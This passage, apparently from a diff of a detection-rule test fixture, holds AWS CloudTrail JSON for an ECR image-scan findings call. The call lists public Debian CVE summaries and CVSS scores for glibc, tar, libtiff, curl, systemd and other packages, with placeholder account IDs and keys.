"package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2019-9923", "description": "pax_decode_header in sparse.c in GNU Tar before 1.32 had a NULL pointer dereference when parsing certain archives that have malformed extended headers.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-9923", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.30+dfsg-6"}, {"key": "package_name", "value": "tar"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2005-2541", "description": "Tar 1.15.1 does not properly warn the user when extracting setuid or setgid files, which may allow local users or remote attackers to gain privileges.", "uri": "https://security-tracker.debian.org/tracker/CVE-2005-2541", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.30+dfsg-6"}, {"key": "package_name", "value": "tar"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "10"}]}, {"name": "CVE-2021-20193", "description": "A flaw was found in the src/list.c of tar 1.33 and earlier. This flaw allows an attacker who can submit a crafted input file to tar to cause uncontrolled consumption of memory. The highest threat from this vulnerability is to system availability." , "uri": "https://security-tracker.debian.org/tracker/CVE-2021-20193", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.30+dfsg-6"}, {"key": "package_name", "value": "tar"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-17973", "description": "** DISPUTED ** In LibTIFF 4.0.8, there is a heap-based use-after-free in the t2p_writeproc function in tiff2pdf.c. NOTE: there is a third-party report of inability to reproduce this issue.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-17973", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-35521", "description": "A flaw was found in libtiff. Due to a memory allocation failure in tif_read.c, a crafted TIFF file can lead to an abort, resulting in denial of service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-35521", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2014-8130", "description": "The _TIFFmalloc function in tif_unix.c in LibTIFF 4.0.3 does not reject a zero size, which allows remote attackers to cause a denial of service (divide-by-zero error and application crash) via a crafted TIFF image that is mishandled by the TIFFWriteScanline function in tif_write.c, as demonstrated by tiffdither.", "uri": "https://security-tracker.debian.org/tracker/CVE-2014-8130", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff" }, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-5563", "description": "LibTIFF version 4.0.7 is vulnerable to a heap-based buffer over-read in tif_lzw.c resulting in DoS or code execution via a crafted bmp image to tools/bmp2tiff." , "uri": "https://security-tracker.debian.org/tracker/CVE-2017-5563", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff" }, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-35522", "description": "In LibTIFF, there is a memory malloc failure in tif_pixarlog.c. A crafted TIFF document can lead to an abort, resulting in a remote denial of service attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-35522", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff" }, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": - "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-9117", "description": "In LibTIFF 4.0.7, the program processes BMP images without verifying that biWidth and biHeight in the bitmap-information header match the actual input, leading to a heap-based buffer over-read in bmp2tiff.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-9117", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2017-16232", "description": "** DISPUTED ** LibTIFF 4.0.8 has multiple memory leak vulnerabilities, which allow attackers to cause a denial of service (memory consumption), as demonstrated by tif_open.c, tif_lzw.c, and tif_aux.c. NOTE: Third parties were unable to reproduce the issue.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-16232", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2018-10126", "description": "LibTIFF 4.0.9 has a NULL pointer dereference in the jpeg_fdct_16x16 function in jfdctint.c.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-10126", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2021-22924", "description": "libcurl keeps previously used connections in a connection pool for subsequenttransfers to reuse, if one of them matches the setup.Due to errors in the logic, the config matching function did not take ''issuercert'' into account and it compared the involved paths *case insensitively*,which could lead to libcurl reusing wrong connections.File paths are, or can be, case sensitive on many systems but not all, and caneven vary depending on used file systems.The comparison also didn''t include the ''issuer cert'' which a transfer can setto qualify how to verify the server certificate.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22924", "severity": "UNDEFINED", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl" }]}, {"name": "CVE-2021-38115", "description": "read_header_tga in gd_tga.c in the GD Graphics Library (aka LibGD) through 2.3.2 allows remote attackers to cause a denial of service (out-of-bounds read) via a crafted TGA file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-38115", "severity": "UNDEFINED", "attributes": [{"key": "package_version", "value": "2.2.5-5.2"}, {"key": "package_name", "value": "libgd2"}]}, {"name": "CVE-2021-3618", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-3618", "severity": "UNDEFINED", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}]}], "findingSeverityCounts": {"HIGH": 2, "MEDIUM": 14, "INFORMATIONAL": 63, "LOW": 22, "UNDEFINED": 3}}}, "requestID": "23c19e2d-c48b-4265-b4eb-853e7b325780", "eventID": "6c94a9b2-36dc-43f8-a6dd-4ec839ded8af", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AAAAAAAAAAAAAAAAAAAAA:test@test.com", "arn": "arn:aws:sts::111111111111:assumed-role/role_name/test@test.com", "accountId": "111111111111", "accessKeyId": "AKIAIOSFODNN7EXAMPLE", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AKIAIOSFODNN7EXAMPLE", "arn": "arn:aws:iam::111111111111:role/aws-reserved/test/region/group", "accountId": "111111111111", "userName": "test"}, "webIdFederationData": {}, "attributes": {"creationDate": "2021-08-11T09:42:53Z", "mfaAuthenticated": "false"}}}, "eventTime": "2021-08-11T11:52:27Z", "eventSource": "ecr.amazonaws.com", "eventName": "DescribeImageScanFindings", "awsRegion": "eu-central-1", "sourceIPAddress": "154.16.165.133", "userAgent": "aws-internal/3 aws-sdk-java/1.11.1030 Linux/4.9.273-0.1.ac.226.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.302-b08 java/1.8.0_302 vendor/Oracle_Corporation cfg/retry-mode/legacy", "requestParameters": {"repositoryName": "devsecops/cat_dog_client", "imageId": {"imageDigest": "sha256:a27d73188718a511a1ec1ec788826674b21e097f29873dde734a4dedfbfab1c6"}, "maxResults": 1000}, "responseElements": {"registryId": "111111111111", "repositoryName": "devsecops/cat_dog_client", "imageId": {"imageDigest": "sha256:a27d73188718a511a1ec1ec788826674b21e097f29873dde734a4dedfbfab1c6"}, "imageScanStatus": {"status": "COMPLETE", "description": "The scan was completed successfully."}, "imageScanFindings": {"imageScanCompletedAt": "Aug 11, 2021, 11:30:16 AM", "vulnerabilitySourceUpdatedAt": "Aug 11, 2021, 1:17:52 AM", "findings": [{"name": "CVE-2019-25013", "description": "The iconv feature in the GNU C Library (aka glibc or libc6) through 2.32, when processing invalid multi-byte input sequences in the EUC-KR encoding, may have a buffer over-read.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-25013", "severity": "HIGH", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}, {"key": "CVSS2_SCORE", "value": "7.1"}]}, {"name": "CVE-2021-33574", "description": "The mq_notify function in the GNU C Library (aka glibc) versions 2.32 and 2.33 has a use-after-free. It may use the notification thread attributes object (passed through its struct sigevent parameter) after it has been freed by the caller, leading to a denial of service (application crash) or possibly unspecified other impact.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-33574", "severity": "HIGH", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2018-12886", "description": "stack_protect_prologue in cfgexpand.c and stack_protect_epilogue in function.c in GNU Compiler Collection (GCC) 4.1 through 8 (under certain circumstances) generate instruction sequences when targeting ARM targets that spill the address of the stack protector guard, which allows an attacker to bypass the protection of -fstack-protector, -fstack-protector-all, -fstack-protector-strong, and -fstack-protector-explicit against stack overflow by controlling what the stack canary is compared against.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-12886", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "8.3.0-6"}, {"key": "package_name", "value": "gcc-8"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-1751", "description": "An out-of-bounds write vulnerability was found in glibc before 2.31 when handling signal trampolines on PowerPC. Specifically, the backtrace function did not properly check the array bounds when storing the frame address, resulting in a denial of service or potential code execution. The highest threat from this vulnerability is to system availability.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-1751", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:P/I:P/A:C"}, {"key": "CVSS2_SCORE", "value": "5.9"}]}, {"name": "CVE-2021-3326", "description": "The iconv function in the GNU C Library (aka glibc or libc6) 2.32 and earlier, when processing invalid input sequences in the ISO-2022-JP-3 encoding, fails an assertion in the code path and aborts the program, potentially resulting in a denial of service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-3326", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-35942", "description": "The wordexp function in the GNU C Library (aka glibc) through 2.33 may crash or read arbitrary memory in parse_param (in posix/wordexp.c) when called with an untrusted, crafted pattern, potentially resulting in a denial of service or disclosure of information. This occurs because atoi was used but strtoul should have been used to ensure correct calculations.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-35942", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "6.4"}]}, {"name": "CVE-2019-12904", "description": "In Libgcrypt 1.8.4, the C implementation of AES is vulnerable to a flush-and-reload side-channel attack because physical addresses are available to other processes. (The C implementation is used on platforms where an assembly-language implementation is unavailable.)", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-12904", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "1.8.4-5+deb10u1"}, {"key": "package_name", "value": "libgcrypt20"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-6363", "description": "** DISPUTED ** In the GD Graphics Library (aka LibGD) through 2.2.5, there is a heap-based buffer over-read in tiffWriter in gd_tiff.c. NOTE: the vendor says \"In my opinion this issue should not have a CVE, since the GD and GD2 formats are documented to be 'obsolete, and should only be used for development and testing purposes.'\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-6363", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.2.5-5.2"}, {"key": "package_name", "value": "libgd2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2019-12290", "description": "GNU libidn2 before 2.2.0 fails to perform the roundtrip checks specified in RFC3490 Section 4.2 when converting A-labels to U-labels. This makes it possible in some circumstances for one domain to impersonate another. By creating a malicious domain that matches a target domain except for the inclusion of certain punycoded Unicode characters (that would be discarded when converted first to a Unicode label and then back to an ASCII label), arbitrary domains can be impersonated.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-12290", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.0.5-1+deb10u1"}, {"key": "package_name", "value": "libidn2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-13115", "description": "In libssh2 before 1.9.0, kex_method_diffie_hellman_group_exchange_sha256_key_exchange in kex.c has an integer overflow that could lead to an out-of-bounds read in the way packets are read from the server. A remote attacker who compromises a SSH server may be able to disclose sensitive information or cause a denial of service condition on the client system when a user connects to the server. This is related to an _libssh2_check_length mistake, and is different from the various issues fixed in 1.8.1, such as CVE-2019-3855.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-13115", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "1.8.0-2.1"}, {"key": "package_name", "value": "libssh2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2016-9318", "description": "libxml2 2.9.4 and earlier, as used in XMLSec 1.2.23 and earlier and other products, does not offer a flag directly indicating that the current document may be read but other files may not be opened, which makes it easier for remote attackers to conduct XML External Entity (XXE) attacks via a crafted document.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-9318", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.9.4+dfsg1-7+deb10u2"}, {"key": "package_name", "value": "libxml2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-16932", "description": "parser.c in libxml2 before 2.9.5 does not prevent infinite recursion in parameter entities.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-16932", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2.9.4+dfsg1-7+deb10u2"}, {"key": "package_name", "value": "libxml2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-36309", "description": "ngx_http_lua_module (aka lua-nginx-module) before 0.10.16 in OpenResty allows unsafe characters in an argument when using the API to mutate a URI, or a request or response header.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-36309", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-14155", "description": "libpcre in PCRE before 8.44 allows an integer overflow via a large number after a (?C substring.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-14155", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-3843", "description": "It was discovered that a systemd service that uses DynamicUser property can create a SUID/SGID binary that would be allowed to run as the transient service UID/GID even after the service is terminated. A local attacker may use this flaw to access resources that will be owned by a potentially different service in the future, when the UID/GID will be recycled.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-3843", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "4.6"}]}, {"name": "CVE-2019-3844", "description": "It was discovered that a systemd service that uses DynamicUser property can get new privileges through the execution of SUID binaries, which would allow to create binaries owned by the service transient group with the setgid bit set. A local attacker may use this flaw to access resources that will be owned by a potentially different service in the future, when the GID will be recycled.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-3844", "severity": "MEDIUM", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "4.6"}]}, {"name": "CVE-2016-2781", "description": "chroot in GNU coreutils, when used with --userspec, allows local users to escape to the parent session via a crafted TIOCSTI ioctl call, which pushes characters to the terminal's input buffer.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-2781", "severity": "LOW", "attributes": [{"key": "package_version", "value": "8.30-3"}, {"key": "package_name", "value": "coreutils"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-22898", "description": "curl 7.7 through 7.76.1 suffers from an information disclosure when the `-t` command line option, known as `CURLOPT_TELNETOPTIONS` in libcurl, is used to send variable=content pairs to TELNET servers. Due to a flaw in the option parser for sending NEW_ENV variables, libcurl could be made to pass on uninitialized data from a stack based buffer to the server, resulting in potentially revealing sensitive internal information to the server using a clear-text network protocol.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22898", "severity": "LOW", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "2.6"}]}, {"name": "CVE-2019-15847", "description": "The POWER9 backend in GNU Compiler Collection (GCC) before version 10 could optimize multiple calls of the __builtin_darn intrinsic into a single call, thus reducing the entropy of the random number generator. This occurred because a volatile operation was not specified. For example, within a single execution of a program, the output of every __builtin_darn() call may be the same.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-15847", "severity": "LOW", "attributes": [{"key": "package_version", "value": "8.3.0-6"}, {"key": "package_name", "value": "gcc-8"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-1752", "description": "A use-after-free vulnerability introduced in glibc upstream version 2.14 was found in the way the tilde expansion was carried out. Directory paths containing an initial tilde followed by a valid username were affected by this issue. A local attacker could exploit this flaw by creating a specially crafted path that, when processed by the glob function, would potentially lead to arbitrary code execution. This was fixed in version 2.32.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-1752", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "3.7"}]}, {"name": "CVE-2020-6096", "description": "An exploitable signed comparison vulnerability exists in the ARMv7 memcpy() implementation of GNU glibc 2.30.9000. Calling memcpy() (on ARMv7 targets that utilize the GNU glibc implementation) with a negative value for the 'num' parameter results in a signed comparison vulnerability. If an attacker underflows the 'num' parameter to memcpy(), this vulnerability could lead to undefined behavior such as writing to out-of-bounds memory and potentially remote code execution. Furthermore, this memcpy() implementation allows for program execution to continue in scenarios where a segmentation fault or crash should have occurred. The dangers occur in that subsequent execution and iterations of this code will be executed with this corrupted data.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-6096", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-10029", "description": "The GNU C Library (aka glibc or libc6) before 2.32 could overflow an on-stack buffer during range reduction if an input to an 80-bit long double function contains a non-canonical bit pattern, a seen when passing a 0x5d414141414141410000 value to sinl on x86 targets. This is related to sysdeps/ieee754/ldbl-96/e_rem_pio2l.c.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-10029", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2020-27618", "description": "The iconv function in the GNU C Library (aka glibc or libc6) 2.32 and earlier, when processing invalid multi-byte input sequences in IBM1364, IBM1371, IBM1388, IBM1390, and IBM1399 encodings, fails to advance the input state, which could lead to an infinite loop in applications, resulting in a denial of service, a different vulnerability from CVE-2016-10228.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-27618", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2016-10228", "description": "The iconv program in the GNU C Library (aka glibc or libc6) 2.31 and earlier, when invoked with multiple suffixes in the destination encoding (TRANSLATE or IGNORE) along with the -c option, enters an infinite loop when processing invalid multi-byte input sequences, leading to a denial of service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-10228", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2019-19126", "description": "On the x86-64 architecture, the GNU C Library (aka glibc) before 2.31 fails to ignore the LD_PREFER_MAP_32BIT_EXEC environment variable during program execution after a security transition, allowing local attackers to restrict the possible mapping addresses for loaded libraries and thus bypass ASLR for a setuid program.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-19126", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-27645", "description": "The nameserver caching daemon (nscd) in the GNU C Library (aka glibc or libc6) 2.29 through 2.33, when processing a request for netgroup lookup, may crash due to a double-free, potentially resulting in degraded service or Denial of Service on the local system. This is related to netgroupcache.c.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-27645", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "1.9"}]}, {"name": "CVE-2019-14855", "description": "A flaw was found in the way certificate signatures could be forged using collisions found in the SHA-1 algorithm. An attacker could use this weakness to create forged certificate signatures. This issue affects GnuPG versions before 2.2.18.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-14855", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.2.12-1+deb10u1"}, {"key": "package_name", "value": "gnupg2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-13627", "description": "It was discovered that there was a ECDSA timing attack in the libgcrypt20 cryptographic library. Version affected: 1.8.4-5, 1.7.6-2+deb9u3, and 1.6.3-2+deb8u4. Versions fixed: 1.8.5-2 and 1.6.3-2+deb8u7.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-13627", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.8.4-5+deb10u1"}, {"key": "package_name", "value": "libgcrypt20"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "2.6"}]}, {"name": "CVE-2018-14553", "description": "gdImageClone in gd.c in libgd 2.1.0-rc2 through 2.2.5 has a NULL pointer dereference allowing attackers to crash an application via a specific function call sequence. Only affects PHP when linked with an external libgd (not bundled).", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-14553", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.2.5-5.2"}, {"key": "package_name", "value": "libgd2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-36086", "description": "The CIL compiler in SELinux 3.2 has a use-after-free in cil_reset_classpermission (called from cil_reset_classperms_set and cil_reset_classperms_list).", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36086", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-36085", "description": "The CIL compiler in SELinux 3.2 has a use-after-free in __cil_verify_classperms (called from __verify_map_perm_classperms and hashtab_map).", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36085", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-36087", "description": "The CIL compiler in SELinux 3.2 has a heap-based buffer over-read in ebitmap_match_any (called indirectly from cil_check_neverallow). This occurs because there is sometimes a lack of checks for invalid statements in an optional block.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36087", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2021-36084", "description": "The CIL compiler in SELinux 3.2 has a use-after-free in __cil_verify_classperms (called from __cil_verify_classpermission and __cil_pre_verify_helper).", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36084", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.8-1"}, {"key": "package_name", "value": "libsepol"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2019-17498", "description": "In libssh2 v1.9.0 and earlier versions, the SSH_MSG_DISCONNECT logic in packet.c has an integer overflow in a bounds check, enabling an attacker to specify an arbitrary (out-of-bounds) offset for a subsequent memory read. A crafted SSH server may be able to disclose sensitive information or cause a denial of service condition on the client system when a user connects to the server.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-17498", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.8.0-2.1"}, {"key": "package_name", "value": "libssh2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2019-17543", "description": "LZ4 before 1.9.2 has a heap-based buffer overflow in LZ4_write32 (related to LZ4_compress_destSize), affecting applications that call 